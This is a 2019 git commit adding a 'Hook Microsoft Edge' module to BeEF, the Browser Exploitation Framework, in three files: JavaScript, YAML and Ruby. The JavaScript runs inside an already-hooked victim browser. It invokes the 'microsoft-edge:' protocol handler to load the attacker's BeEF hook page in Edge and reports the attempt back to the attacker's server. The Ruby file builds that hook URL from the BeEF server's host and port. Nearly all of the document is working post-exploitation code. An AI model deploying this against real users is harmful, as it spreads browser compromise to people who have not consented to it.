Add Hook Microsoft Edge module

This commit is contained in:
Brendan Coles
2019-07-20 15:55:09 +00:00
parent 07cc6f9542
commit b0732f21e6
3 changed files with 52 additions and 0 deletions

View File

@@ -0,0 +1,12 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var edge_url = "<%== @url %>";
window.location = 'microsoft-edge:' + edge_url;
beef.debug("Attempted to open " + edge_url + " in Microsoft Edge.");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Attempted to open " + edge_url + " in Microsoft Edge.");
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
hook_microsoft_edge:
enable: true
category: "Host"
name: "Hook Microsoft Edge"
description: "This module will use the 'microsoft-edge:' protocol handler to attempt to hook Microsoft Edge (assuming it isn't currently hooked).<br/><br/>Note: the user will be prompted to open Microsoft Edge."
authors: ["bcoles"]
target:
user_notify: ["C"]

View File

@@ -0,0 +1,25 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Hook_microsoft_edge < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
hook_uri = "#{proto}://#{beef_host}:#{beef_port}/demos/plain.html"
return [
{'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end